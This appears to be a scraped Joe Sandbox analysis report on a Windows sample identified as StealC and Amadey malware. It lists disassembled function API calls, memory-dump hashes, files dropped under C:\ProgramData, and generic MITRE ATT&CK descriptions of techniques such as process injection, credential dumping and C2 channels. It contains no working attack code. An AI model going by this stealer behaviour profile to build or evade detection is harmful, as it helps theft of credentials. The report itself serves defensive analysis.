malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C460A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C460A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C460A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C460A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BB67F

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 48809a92f99f8d96b5603705619ffc8d32cb0b190fc89a6f57d3d34537415620
Instruction ID: 312058e32abb9105c0a0e66855b6ddf73dda0097a438e55ea9fdb34a348d275c
Opcode Fuzzy Hash: 48809a92f99f8d96b5603705619ffc8d32cb0b190fc89a6f57d3d34537415620
Instruction Fuzzy Hash: A831D471A012168FDB11DF58C884E5ABBF5FF85305F168669C846EB301DB31ED15CBA2

Function 6C48F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C48F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C48F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C48F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C48F668

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 4eb6c13f480cdfda4cca9d36f4672446d12d0ff217cf0d57b4621f8a96ef4f4c
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: BE315C71B01214AFD714CF6DDCC0E9A7BF9EB84354B18853CEA4A8BB19E631E9458B90

Function 6C4A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4A26C1
free.MOZGLUE(?), ref: 6C4A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4A26FF
free.MOZGLUE ref: 6C4A270D

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b896c325e311613d09b48abf53fbb11903e02f739536099b307a111f500c6df6
Instruction ID: 0da15c4433a0514903f6904a2aab79500714ce460996f173172c78769ccca17a
Opcode Fuzzy Hash: b896c325e311613d09b48abf53fbb11903e02f739536099b307a111f500c6df6
Instruction Fuzzy Hash: 50F0F9B2B022005BE720DF99D884D4B73A9EF61259B100035EA1ED7B11EB31F91AD6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EHCBAAAFHJDHJJKEBGHI

C:\ProgramData\FBFCFIEBKEGHIDGCAFBF

C:\ProgramData\FIIDBKJJ

C:\ProgramData\HIDAKFIJJKJJJKEBKJEHCBGDAK

C:\ProgramData\IIECFHDB

C:\ProgramData\JEBKECAFIDAFIECBKEHD

C:\ProgramData\KECBGCGCGIEGCBFHIIEBFCAFHI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre